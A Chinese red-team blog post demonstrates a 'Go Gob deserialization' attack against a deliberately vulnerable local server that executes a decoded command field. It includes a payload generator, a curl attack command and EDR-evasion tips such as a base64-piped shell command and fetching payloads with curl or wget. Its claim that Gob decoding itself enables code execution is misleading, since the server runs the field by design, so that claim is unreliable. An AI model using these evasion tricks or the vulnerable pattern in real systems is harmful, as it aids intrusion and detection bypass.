一、一次“神奇”的反序列化渗透

反序列化漏洞是我在红队行动中最喜欢的一类漏洞之一,因为它不仅“隐秘”,还可以直接帮助我实现从应用层到系统层的控制。它的成因往往来自开发者对信任边界的错误假设——他们相信所有的输入都是“安全的”。那么,我能做的,就是利用这些“不安全”的输入,打开整个系统的大门。

有一次,我接到任务渗透一家企业的内网。他们的核心业务是基于一个自研的 Go Web 应用,这个应用使用 JSON 格式与前端通信,同时也支持导入导出功能。看似普通的业务功能背后,隐藏着巨大的漏洞。一开始,我发现这个系统有一个 JSON-based 的 API 接口,它允许上传序列化的对象文件用于导入业务数据。正是这个接口,成为了我后来攻破的关键入口。

在这篇文章中,我将结合实际场景,带你一步步复现一次完整的反序列化漏洞攻击,并讲解如何将漏洞“武器化”。

---

二、反序列化漏洞的根源在哪里?

在深入攻击之前,我们需要先弄清楚问题的本质。反序列化漏洞的核心在于:不受信任的输入被直接反序列化,导致攻击者可以通过精心构造的序列化数据执行任意代码

反序列化的必要背景

序列化是指将对象转换为字节流的过程,而反序列化则是将字节流还原为对象。这个过程在现代程序中非常常见,特别是在数据存储、网络传输和对象持久化中。然而,一旦开发者对反序列化的输入没有严格校验,攻击者就可以通过精心构造的恶意 payload,利用反序列化过程触发任意代码执行。

Go 中的反序列化

Go 语言中最常见的序列化/反序列化方式是 JSON 和 Gob。其中,JSON 通常用于前后端数据交互,而 Gob 则是 Go 特有的二进制编码方式,常用于高效的内部通信。虽然 Gob 的使用场景较少,但它往往更加危险,因为许多开发者对其安全性没有清晰的认知。

---

三、复现环境——构建一个脆弱的 API 接口

在这次攻击演示中,我将模拟一个基于 Go 的 Web 应用,提供一个支持 Gob 反序列化的 API 接口。以下是脆弱接口的代码实现:

<pre><code class="language-go">package main

import ( &quot;bytes&quot; &quot;encoding/gob&quot; &quot;fmt&quot; &quot;net/http&quot; &quot;os/exec&quot; )

// 定义一个结构体,会被反序列化 type Payload struct { Command string }

func executeCommand(cmd string) { // 这里是漏洞的核心,直接执行了反序列化对象中的命令 output, err := exec.Command(&quot;/bin/sh&quot;, &quot;-c&quot;, cmd).Output() if err != nil { fmt.Println(&quot;Error executing command:&quot;, err) return } fmt.Println(string(output)) }

func handler(w http.ResponseWriter, r *http.Request) { var payload Payload

// 从请求体中读取 Gob 数据并反序列化 buf := new(bytes.Buffer) buf.ReadFrom(r.Body) decoder := gob.NewDecoder(buf) err := decoder.Decode(&amp;payload)

// 如果反序列化失败,返回错误 if err != nil { http.Error(w, &quot;Invalid payload&quot;, http.StatusBadRequest) return }

// 反序列化成功后,直接执行 payload 中的命令 executeCommand(payload.Command) fmt.Fprintf(w, &quot;Command executed: %s&quot;, payload.Command) }

func main() { http.HandleFunc(&quot;/import&quot;, handler) http.ListenAndServe(&quot;:8080&quot;, nil) }</code></pre>

漏洞分析

  1. 漏洞核心:
  2. 该代码直接对客户端提交的 Gob 数据进行反序列化(decoder.Decode),并将反序列化结果中的 Command 字段直接作为命令执行。

  1. 攻击面:
  2. 只要攻击者能够构造一个合法的 Gob 数据包,就可以在服务器上执行任意系统命令。

---

四、Payload 构造的艺术

为了利用上述漏洞,我们需要构造一个能被正常反序列化的 Gob 数据包,同时确保其包含恶意命令。本次攻击的目标是执行系统命令 id,用于验证漏洞的可利用性。

构造恶意 Gob 数据

以下是一个用于构造 payload 的 Go 脚本:

<pre><code class="language-go">package main

import ( &quot;bytes&quot; &quot;encoding/gob&quot; &quot;os&quot; )

// 构造与服务端相同的 Payload 结构体 type Payload struct { Command string }

func main() { // 构造恶意 payload payload := Payload{ Command: &quot;id&quot;, // 替换为你需要执行的任意命令 }

// 将 payload 序列化为 Gob 数据 var buf bytes.Buffer encoder := gob.NewEncoder(&amp;buf) err := encoder.Encode(payload) if err != nil { panic(err) }

// 将生成的 Gob 数据写入文件 f, err := os.Create(&quot;exploit.gob&quot;) if err != nil { panic(err) } defer f.Close()

f.Write(buf.Bytes()) }</code></pre>

运行该脚本后,会生成一个名为 exploit.gob 的文件,其中包含了恶意序列化数据。

---

五、攻击实战:用 curl 发动攻击

接下来,我将通过 curl 工具向目标服务器发送恶意 Gob 数据,从而触发漏洞并执行命令。

黑客示意图

攻击步骤

  1. 启动目标服务器:
  2. `shell go run server.go `

  1. 使用 curl 发送恶意数据包:
  2. `shell curl -X POST http://localhost:8080/import --data-binary @exploit.gob `

  1. 查看服务器输出:
  2. 如果攻击成功,你会在服务器的终端中看到类似以下的输出: ` uid=1000(user) gid=1000(user) groups=1000(user) Command executed: id `

---

六、对抗 EDR 的技巧

黑客示意图

在实际渗透中,直接执行系统命令(如 idwhoami)往往会被 EDR 或 AV 拦截。为了提高攻击的隐蔽性,我常用以下几个技巧:

  1. 命令混淆:
  2. 使用类似 echo d2hvYW1pCg== | base64 -d | sh 的方式绕过简单的检测。

黑客示意图

  1. 无文件执行:
  2. 将恶意载荷注入到内存中执行,避免在磁盘上留下痕迹。

  1. 借助合法工具:
  2. 使用系统内置工具(如 curlwget)下载并执行后续 payload。

---

七、漏洞修复建议与红队经验总结

黑客示意图

修复建议

  1. 严禁直接反序列化用户输入:
  2. 对于所有外部输入,必须进行严格的校验和过滤。

  1. 使用签名机制:
  2. 在序列化数据中引入签名校验,防止被篡改。

  1. 最小权限原则:
  2. 限制服务器进程的权限,避免被攻击后造成更大损失。

红队经验总结

  1. 寻找反序列化漏洞时,不要局限于 JSON:
  2. 许多开发者会误以为只有 XML 或 JSON 会导致反序列化漏洞,但二进制协议(如 Gob、Protocol Buffers)同样可能存在安全问题。

  1. 小心系统命令:
  2. 不要急于执行高危命令,先通过低危命令(如 iduname)测试漏洞是否可用。

  1. 构造多种 payload:
  2. 每个目标环境不同,必须根据实际情况调整 payload。

这次的分享到这里就结束了,希望你能从中学到一些有用的技巧!